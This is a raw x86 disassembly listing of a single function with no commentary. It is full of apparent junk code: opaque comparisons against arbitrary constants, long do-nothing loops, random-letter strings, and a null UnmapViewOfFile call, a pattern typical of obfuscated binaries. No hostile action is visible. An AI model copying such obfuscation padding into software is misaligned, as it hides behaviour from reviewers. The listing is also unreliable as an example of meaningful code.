jmp 0x4394e8
and dword [ebp - 0x7ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7ac]
mov dword [ebp + eax - 0x11e4], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x738]
cmp dword [ebp - 0x7ac], eax
jle 0x43951c
mov dword [ebp - 0xa00], 1
jmp 0x439523
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0xa00], eax
jg 0x43953d
mov dword [ebp - 0x10b0], 1
jmp 0x439544
and dword [ebp - 0x10b0], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x10b0], eax
jg 0x439559
cmp dword [ebp - 0x171c], 0
cmp dword [ebp - 0x9c], 0xa5c5
jl 0x439571
mov dword [ebp - 0xa08], 1
jmp 0x439578
and dword [ebp - 0xa08], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xa08], eax
jl 0x439592
mov dword [ebp - 0x1724], 1
jmp 0x439599
and dword [ebp - 0x1724], 0
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x1c28], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c0]
cmp dword [ebp + eax - 0x6f4], ecx
jne 0x4395c3
and dword [ebp - 0xdd8], 0
jmp 0x4395cd
mov dword [ebp - 0xdd8], 1
imul eax, dword [ebp - 0xdd8], 0x1f20
test eax, eax
je 0x4395f0
cmp dword [ebp - 0x1c0], 0
je 0x4395f0
mov dword [ebp - 0xa10], 1
jmp 0x4395f7
and dword [ebp - 0xa10], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xa10], eax
jl 0x439611
mov dword [ebp - 0xfc0], 1
jmp 0x439618
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xfc0], eax
jle 0x439632
mov dword [ebp - 0xa18], 1
jmp 0x439639
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0xa18]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x178], eax
jg 0x43965f
mov dword [ebp - 0xde0], 1
jmp 0x439666
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xde0], eax
jle 0x439680
mov dword [ebp - 0xa20], 1
jmp 0x439687
and dword [ebp - 0xa20], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa20]
mov dword [ebp + eax - 0x738], ecx
mov dword [ebp - 0x618], 0x4fd9e2a8
push 4
lea ecx, [ebp - 0x1964]
call fcn.00420237
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x1ef8], 0x977a1245
mov dword [ebp - 0x1c30], 0x90611bc3
mov dword [ebp - 0x172c], 0x85e0710d
lea eax, [ebp - 0x1964]
push eax
lea eax, [ebp - 0x1e24]
push eax
call fcn.004313ac
pop ecx
pop ecx
mov dword [ebp - 0x4c], 3
jmp 0x4396fb
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x4397a1
mov dword [ebp - 0x5e0], 0
jmp 0x43971e
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 1
jge 0x43973a
mov eax, dword [ebp - 0x5e0]
mov dword [ebp + eax*4 - 0xde8], 0xb3921ded
jmp 0x439711
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1964]
call fcn.00420325
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xde8], 0
jne 0x439764
mov dword [ebp - 0x1110], 1
jmp 0x43976b
and dword [ebp - 0x1110], 0
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x1110]
jl 0x439782
mov dword [ebp - 0xa28], 1
jmp 0x439789
and dword [ebp - 0xa28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa28]
mov dword [ebp + eax - 0xde8], ecx
jmp 0x4396f4
mov dword [ebp - 0x4c], 0
jmp 0x4397b1
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x12
jl 0x439968
mov dword [ebp - 0x1734], 1
mov dword [ebp - 0x2b0], 0
jmp 0x4397de
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 2
jge 0x4397fa
mov eax, dword [ebp - 0x2b0]
mov dword [ebp + eax*4 - 0x2028], 0
jmp 0x4397d1
lea eax, [ebp - 0x1964]
push eax
lea eax, [ebp - 0x172c]
push eax
lea eax, [ebp - 0x1734]
push eax
call fcn.004313f4
add esp, 0xc
mov dword [ebp - 0xa30], 0xb0d
mov dword [ebp - 0x173c], str.klgm_ocgyb_qeeafiueq_wchanmmbl_ffxsodlvr
cmp dword [ebp - 0xa30], 0xdd6
jle 0x4398e8
and dword [ebp - 0x4f0], 0
jmp 0x439851
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0xcfc
jge 0x4398e8
and dword [ebp - 0x2b8], 0
jmp 0x439877
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x24a1
jge 0x4398e3
and dword [ebp - 0x5e8], 0
jmp 0x439899
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0x59f3
jge 0x4398e1
mov eax, dword [ebp - 0x4f0]
cdq
idiv dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x5e8]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x13ac], eax
mov dword [ebp - 0x13a8], edx
push dword [ebp - 0x13a8]
push dword [ebp - 0x13ac]
mov ecx, 0xac67d8
call fcn.004200f3
jmp 0x43988c
jmp 0x43986a
jmp 0x439844
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x43991a
push 0x3146
push 0x78ab
push 1
push 0x2930
push 0x3d7a
push 0
call fcn.00426aa4
add esp, 0x18
mov dword [ebp - 4], 8
cmp dword [ebp - 0xa30], 0xadb
jge 0x43993d
mov edx, dword [ebp - 0x173c]
mov ecx, 0xac67d8
call fcn.00421ea9
jmp 0x439959
or dword [ebp - 4], 0xffffffff
jmp 0x439963
jmp 0x4397aa
lea ecx, [ebp - 0x1964]
call fcn.00420309
mov dword [ebp - 0x1008], 0
mov dword [ebp - 0xb48], 0xcd7820ea
mov dword [ebp - 0x1744], 0x97f6af11
lea eax, [ebp - 0x1744]
push eax
call fcn.004345ef
pop ecx
mov dword [ebp - 0xa40], 0x185
mov dword [ebp - 0x1764], str.udzocjf_htzprypa_bsekl_dttq
cmp dword [ebp - 0xa40], 0x407
jle 0x439a91
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [ebp - 0x2c0], 0
jmp 0x4399e0
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x7a77
jge 0x439a91
and dword [ebp - 0x4f8], 0
jmp 0x439a06
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
cmp dword [ebp - 0x4f8], 0x1fad
jge 0x439a8c
and dword [ebp - 0x2c8], 0
jmp 0x439a28
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x7449
jge 0x439a87
mov eax, dword [ebp - 0x2c0]
sub eax, dword [ebp - 0x4f8]
sub eax, dword [ebp - 0x2c8]
cdq
mov dword [ebp - 0x13b8], eax
mov dword [ebp - 0x13b4], edx
push dword [ebp - 0x13b4]
push dword [ebp - 0x13b8]
lea ecx, [ebp - 0x2224]
call fcn.0040195e
pop ecx
pop ecx
mov ecx, eax
call fcn.004200e8
push eax
call fcn.004a11e7
pop ecx
lea ecx, [ebp - 0x2224]
call fcn.004200de
jmp 0x439a1b
jmp 0x4399f9
jmp 0x4399d3
push 2
lea ecx, [ebp - 0x1794]
call fcn.00420237
mov dword [ebp - 0xa0], 0xa66fe7d8
mov dword [ebp - 0xdf0], 0x41a9c213
lea eax, [ebp - 0x1794]
push eax
lea eax, [ebp - 0x1c38]
push eax
call fcn.004315c2
pop ecx
pop ecx
mov dword [ebp - 0xa0], 0
jmp 0x439ae0
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jg 0x439bbb
mov dword [ebp - 0x1754], 0xea445a8c
mov dword [ebp - 0x175c], 0x578cca6
cmp dword [ebp - 0xa0], 0xb60e
jge 0x439b19
mov dword [ebp - 0xfc8], 1
jmp 0x439b20
and dword [ebp - 0xfc8], 0
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x1794]
call fcn.00420325
mov eax, dword [eax]
sub eax, dword [ebp - 0xfc8]
cmp eax, 0xfffffff9
je 0x439b4a
mov dword [ebp - 0xa38], 1
jmp 0x439b51
and dword [ebp - 0xa38], 0
cmp dword [ebp - 0xa38], 0x77b568be
jle 0x439b69
mov dword [ebp - 0x174c], 1
jmp 0x439b70
and dword [ebp - 0x174c], 0
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x1794]
call fcn.00420325
mov dword [ebp - 0xdf0], 0x1f6f0842
lea eax, [ebp - 0x1794]
push eax
lea eax, [ebp - 0x1754]
push eax
lea eax, [ebp - 0x175c]
push eax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0xdf0]
push eax
call fcn.004346d9
add esp, 0x14
jmp 0x439ad3
lea ecx, [ebp - 0x1794]
call fcn.00420309
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0xa40], 0x1b
jge 0x439be2
push dword [ebp - 0x1764]
call fcn.004a11e7
pop ecx
jmp 0x439bfe
or dword [ebp - 4], 0xffffffff
jmp 0x439c08
mov dword [ebp - 0x10b8], 0x56c
mov dword [ebp - 0x176c], str.lrwqw_ogvnokm_bsanq_ovwk_swvtq_jbupljg_qrscstp_zkpc_bgoqzlwql_hjxqxxy_svo_mimee_vshukeu_rocxhixc
cmp dword [ebp - 0x10b8], 0x5fa
jle 0x439c9f
and dword [ebp - 0x5f0], 0
jmp 0x439c3e
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x6d74
jge 0x439c9f
and dword [ebp - 0x2d0], 0
jmp 0x439c60
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x608d
jge 0x439c9d
mov eax, dword [ebp - 0x5f0]
or eax, dword [ebp - 0x2d0]
cdq
mov dword [ebp - 0x13c4], eax
mov dword [ebp - 0x13c0], edx
push dword [ebp - 0x13c0]
push dword [ebp - 0x13c4]
mov ecx, 0xac67d8
call fcn.004200f3
jmp 0x439c53
jmp 0x439c31
mov dword [ebp - 0x500], 0
jmp 0x439cb8
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 2
jge 0x439cd4
mov eax, dword [ebp - 0x500]
mov dword [ebp + eax*4 - 0x794], 0x418a5273
jmp 0x439cab
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x10b8], 0x419
jge 0x439cf7
mov edx, dword [ebp - 0x176c]
mov ecx, 0xac67d8
call fcn.00421ea9
jmp 0x439d13
or dword [ebp - 4], 0xffffffff
jmp 0x439d1d
lea eax, [ebp - 0x1c8]
push eax
push 0x791c
lea eax, [ebp - 0x58]
push eax
push 1
push 0x2232
push 0
call fcn.004288b8
add esp, 0x18
mov dword [ebp - 0x2d8], 0
jmp 0x439d57
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 2
jge 0x439d73
mov eax, dword [ebp - 0x2d8]
mov dword [ebp + eax*4 - 0x196c], 0xfffffffa
jmp 0x439d4a
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x196c]
mov dword [ebp + ecx - 0x196c], eax
mov byte [ebp - 0xdd], 0
lea eax, [ebp - 0xdd]
push eax
call fcn.0043475e
pop ecx
mov dword [ebp - 0x1c8], 0
jmp 0x439dba
cmp dword [ebp - 0x1c8], 0xffffffe5
jne 0x43b397